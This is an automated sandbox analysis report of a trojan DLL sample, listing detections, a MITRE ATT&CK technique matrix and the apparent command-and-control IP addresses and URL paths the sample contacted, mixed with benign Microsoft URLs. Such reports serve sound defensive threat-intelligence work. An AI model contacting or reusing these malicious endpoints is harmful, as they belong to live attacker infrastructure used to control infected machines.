Source: Yara match	File source: 0000000B.00000003.328562700.0000000003173000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.258124529.00000000028B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.264342755.0000000002EB6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.278848660.0000000003173000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	Input Capture1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer4	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection112	Deobfuscate/Decode Files or Information1	LSASS Memory	File and Directory Discovery2	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	System Information Discovery34	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Security Software Discovery61	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	File Deletion1	Cached Domain Credentials	Virtualization/Sandbox Evasion3	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading2	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion3	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection112	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Hidden Files and Directories1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Rundll321	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
pPX9DaPVYj.dll	17%	Virustotal		Browse
pPX9DaPVYj.dll	18%	ReversingLabs	Win32.Trojan.Mansabo
pPX9DaPVYj.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
9.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.3.rundll32.exe.3186e08.2.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
11.3.rundll32.exe.3186e08.1.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
7.2.rundll32.exe.28b6cb8.0.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
11.3.rundll32.exe.3186e08.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
5.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://45.79.33.48:8080/PrpBPOmfFHGkdQRTlGtZeqncCXIcxL	0%	Avira URL Cloud	safe
https://168.197.250.14:80/ctsONulME	0%	Avira URL Cloud	safe
https://196.44.98.190/	11%	Virustotal		Browse
https://196.44.98.190/	0%	Avira URL Cloud	safe
https://45.79.33.48:8080/PrpBPOmfFHGkdQRTlGtZeqncCXIcx	0%	Avira URL Cloud	safe
https://168.197.250.14/AR1B	0%	Avira URL Cloud	safe
https://51.178.61.60/	0%	Avira URL Cloud	safe
https://51.178.61.60/euUFqPgNCDyXyAnWOWQLJNWJizfGCbPiK	0%	Avira URL Cloud	safe
https://177.72.80.14/ZR8B	0%	Avira URL Cloud	safe
https://196.44.98.190:8080/fRmCLCTmnCqbhnJwguPmnKiWalLOGONSERVER=	0%	Avira URL Cloud	safe
https://168.197.250.14/	0%	Avira URL Cloud	safe
https://177.72.80.14:7080/iWFUUeWljUhVsRHEOKBBOqGWSiJFZYkHnHENgHC	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://168.197.250.14/HR	0%	Avira URL Cloud	safe
https://45.79.33.48:8080/PrpBPOmfFHGkdQRTlGtZeqncCXIcx5E4AB229	0%	Avira URL Cloud	safe
https://51.178.61.60/20	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://51.178.61.60/euUFqPgNCDyXyAnWOWQLJNWJizfGCbPiK	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp	false		high
https://45.79.33.48:8080/PrpBPOmfFHGkdQRTlGtZeqncCXIcxL	rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000F.00000002.307962780.0000025B4EE13000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	false		high
https://168.197.250.14:80/ctsONulME	rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://196.44.98.190/	rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://45.79.33.48:8080/PrpBPOmfFHGkdQRTlGtZeqncCXIcx	rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000F.00000002.307997677.0000025B4EE42000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307709990.0000025B4EE41000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp	false		high
https://168.197.250.14/AR1B	rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp	false		high
https://51.178.61.60/	rundll32.exe, 0000000B.00000003.278901559.00000000031BA000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328685207.00000000031BC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp	false		high
https://177.72.80.14/ZR8B	rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://196.44.98.190:8080/fRmCLCTmnCqbhnJwguPmnKiWalLOGONSERVER=	rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://168.197.250.14/	rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bingmapsportal.com	svchost.exe, 0000000F.00000002.307962780.0000025B4EE13000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	false		high
https://177.72.80.14:7080/iWFUUeWljUhVsRHEOKBBOqGWSiJFZYkHnHENgHC	rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000018.00000003.386525296.000001961E18F000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386693372.000001961E1AF000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386618019.000001961E199000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386570925.000001961E16C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386589261.000001961E17D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386716259.000001961E16C000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://168.197.250.14/HR	rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307703491.0000025B4EE45000.00000004.00000001.sdmp	false		high
https://45.79.33.48:8080/PrpBPOmfFHGkdQRTlGtZeqncCXIcx5E4AB229	rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://51.178.61.60/20	rundll32.exe, 0000000B.00000003.278901559.00000000031BA000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328685207.00000000031BC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307703491.0000025B4EE45000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.604698069.000001E15FA62000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000F.00000002.308002830.0000025B4EE4B000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000018.00000003.387694664.000001961E176000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.387711669.000001961E187000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000002.307962780.0000025B4EE13000.00000004.00000001.sdmp	false		high
https://177.72.80.14/	rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false		unknown
https://%s.xboxlive.com	svchost.exe, 0000000D.00000002.777972901.0000025622041000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000F.00000003.307634342.0000025B4EE51000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000002.308016792.0000025B4EE55000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	false		high
https://168.197.250.14:80/z	rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	false		unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000F.00000002.308002830.0000025B4EE4B000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000018.00000003.386525296.000001961E18F000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386693372.000001961E1AF000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386618019.000001961E199000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386570925.000001961E16C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386589261.000001961E17D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386716259.000001961E16C000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	svchost.exe, 00000008.00000002.604454697.000001E15A2B1000.00000004.00000001.sdmp, svchost.exe, 00000008.00000003.603917359.000001E15A2B1000.00000004.00000001.sdmp	false		high
https://45.79.33.48:8080/J	rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	false		unknown
https://dynamic.t	svchost.exe, 0000000F.00000003.307703491.0000025B4EE45000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.79.33.48/	rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	false		unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	false		high
https://disneyplus.com/legal.	svchost.exe, 00000018.00000003.386525296.000001961E18F000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386693372.000001961E1AF000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386618019.000001961E199000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386570925.000001961E16C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386589261.000001961E17D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386716259.000001961E16C000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307722267.0000025B4EE39000.00000004.00000001.sdmp	false		high
https://45.79.33.48:8080/	rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	false		unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000F.00000002.308002830.0000025B4EE4B000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	false		high
https://45.79.33.48:8080/cx	rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	false		unknown
https://activity.windows.com	svchost.exe, 0000000D.00000002.777972901.0000025622041000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	false		high
http://help.disneyplus.com.	svchost.exe, 00000018.00000003.386525296.000001961E18F000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386693372.000001961E1AF000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386618019.000001961E199000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386570925.000001961E16C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386589261.000001961E17D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386716259.000001961E16C000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://%s.dnet.xboxlive.com	svchost.exe, 0000000D.00000002.777972901.0000025622041000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://45.79.33.48:8080/b	rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	false		unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
207.148.81.119	unknown	United States	20473	AS-CHOOPAUS	true
196.44.98.190	unknown	Ghana	327814	EcobandGH	true
78.46.73.125	unknown	Germany	24940	HETZNER-ASDE	true
37.59.209.141	unknown	France	16276	OVHFR	true
85.214.67.203	unknown	Germany	6724	STRATOSTRATOAGDE	true
191.252.103.16	unknown	Brazil	27715	LocawebServicosdeInternetSABR	true
45.79.33.48	unknown	United States	63949	LINODE-APLinodeLLCUS	true
54.37.228.122	unknown	France	16276	OVHFR	true
185.148.169.10	unknown	Germany	44780	EVERSCALE-ASDE	true
142.4.219.173	unknown	Canada	16276	OVHFR	true
54.38.242.185	unknown	France	16276	OVHFR	true
195.154.146.35	unknown	France	12876	OnlineSASFR	true
195.77.239.39	unknown	Spain	60493	FICOSA-ASES	true
78.47.204.80	unknown	Germany	24940	HETZNER-ASDE	true
168.197.250.14	unknown	Argentina	264776	OmarAnselmoRipollTDCNETAR	true
51.178.61.60	unknown	France	16276	OVHFR	true
177.72.80.14	unknown	Brazil	262543	NewLifeFibraBR	true
66.42.57.149	unknown	United States	20473	AS-CHOOPAUS	true
37.44.244.177	unknown	Germany	47583	AS-HOSTINGERLT	true
51.210.242.234	unknown	France	16276	OVHFR	true

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528003
Start date:	24.11.2021
Start time:	16:51:05
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	pPX9DaPVYj (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@28/9@0/22
EGA Information:	Failed
HDC Information:	Successful, ratio: 76.9% (good quality ratio 67.6%) Quality average: 69.9% Quality standard deviation: 32.3%
HCA Information:	Successful, ratio: 95% Number of executed functions: 62 Number of non-executed functions: 46
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.54.113.53, 23.35.236.56, 173.222.108.226, 173.222.108.210, 20.54.110.249 Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:52:10	API Interceptor	10x Sleep call for process: svchost.exe modified
16:53:26	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
207.148.81.119	cRC6TZG6Wx.dll	Get hash	malicious	Browse
	qrb6jVwzoe.dll	Get hash	malicious	Browse
	1711.doc	Get hash	malicious	Browse
	GQwxmGZFvtg.dll	Get hash	malicious	Browse
	wNjqkrm8pH.dll	Get hash	malicious	Browse
	5YO8hZg21O.dll	Get hash	malicious	Browse
	dUGnMYeP1C.dll	Get hash	malicious	Browse
	yFAXc9z51V.dll	Get hash	malicious	Browse
	9fC0as7YLE.dll	Get hash	malicious	Browse
	FIyE6huzxV.dll	Get hash	malicious	Browse
	V0gZWRXv8d.dll	Get hash	malicious	Browse
	t5EuQW2GUF.dll	Get hash	malicious	Browse
	uh1WyesPlh.dll	Get hash	malicious	Browse
	8rryPzJR1p.dll	Get hash	malicious	Browse
	a65FgjVus4.dll	Get hash	malicious	Browse
	bWjYh6H8wk.dll	Get hash	malicious	Browse
	ZJOHKItBoJ.dll	Get hash	malicious	Browse
	eyPPiz3W6u.dll	Get hash	malicious	Browse
	HjYSwxqyUn.dll	Get hash	malicious	Browse
	f47YPsvRI3.dll	Get hash	malicious	Browse
196.44.98.190	cRC6TZG6Wx.dll	Get hash	malicious	Browse
	qrb6jVwzoe.dll	Get hash	malicious	Browse
	1711.doc	Get hash	malicious	Browse
	GQwxmGZFvtg.dll	Get hash	malicious	Browse
	wNjqkrm8pH.dll	Get hash	malicious	Browse
	5YO8hZg21O.dll	Get hash	malicious	Browse
	dUGnMYeP1C.dll	Get hash	malicious	Browse
	yFAXc9z51V.dll	Get hash	malicious	Browse
	9fC0as7YLE.dll	Get hash	malicious	Browse
	FIyE6huzxV.dll	Get hash	malicious	Browse
	V0gZWRXv8d.dll	Get hash	malicious	Browse
	t5EuQW2GUF.dll	Get hash	malicious	Browse
	uh1WyesPlh.dll	Get hash	malicious	Browse
	8rryPzJR1p.dll	Get hash	malicious	Browse
	a65FgjVus4.dll	Get hash	malicious	Browse
	bWjYh6H8wk.dll	Get hash	malicious	Browse
	ZJOHKItBoJ.dll	Get hash	malicious	Browse
	eyPPiz3W6u.dll	Get hash	malicious	Browse
	HjYSwxqyUn.dll	Get hash	malicious	Browse
	f47YPsvRI3.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-CHOOPAUS	cRC6TZG6Wx.dll	Get hash	malicious	Browse	66.42.57.149
	qrb6jVwzoe.dll	Get hash	malicious	Browse	66.42.57.149
	AWB_NO_9284730932.exe	Get hash	malicious	Browse	45.32.28.45
	arm6-20211124-0649	Get hash	malicious	Browse	44.168.42.223
	6D2FF3CC83EA214E33E4105CCB1051CD85B82E052F615.exe	Get hash	malicious	Browse	149.28.253.196
	FhP4JYCU7J.exe	Get hash	malicious	Browse	149.28.253.196
	FhP4JYCU7J.exe	Get hash	malicious	Browse	149.28.253.196
	bomba.arm	Get hash	malicious	Browse	44.168.169.161
	44E401AAF0B52528AA033257C1A1B8A09A2B10EDF26ED.exe	Get hash	malicious	Browse	149.28.253.196
	77012C024869BA2639B54B959FAB1E10EBAAF8EBB9BFC.exe	Get hash	malicious	Browse	149.28.253.196
	WQRrng5aiw.exe	Get hash	malicious	Browse	149.28.253.196
	WQRrng5aiw.exe	Get hash	malicious	Browse	149.28.253.196
	5giHvDqMaL	Get hash	malicious	Browse	45.63.53.236
	22BA4262D93379DE524029DAFC7528E431E56A22CB293.exe	Get hash	malicious	Browse	149.28.253.196
	6PZ6S2YGPB	Get hash	malicious	Browse	45.63.53.204
	kq5Of3SOMZ.exe	Get hash	malicious	Browse	149.28.253.196
	QABYgAqa5Z.exe	Get hash	malicious	Browse	149.28.253.196
	ZrAv540yA4.exe	Get hash	malicious	Browse	216.128.137.31
	6Xtf11WnP2.exe	Get hash	malicious	Browse	216.128.137.31
	M9WBCy4NNi.exe	Get hash	malicious	Browse	216.128.137.31
EcobandGH	cRC6TZG6Wx.dll	Get hash	malicious	Browse	196.44.98.190
	qrb6jVwzoe.dll	Get hash	malicious	Browse	196.44.98.190
	1711.doc	Get hash	malicious	Browse	196.44.98.190
	n6J7QJs4bk.dll	Get hash	malicious	Browse	196.44.109.73
	GQwxmGZFvtg.dll	Get hash	malicious	Browse	196.44.98.190
	wNjqkrm8pH.dll	Get hash	malicious	Browse	196.44.98.190
	5YO8hZg21O.dll	Get hash	malicious	Browse	196.44.98.190
	dUGnMYeP1C.dll	Get hash	malicious	Browse	196.44.98.190
	yFAXc9z51V.dll	Get hash	malicious	Browse	196.44.98.190
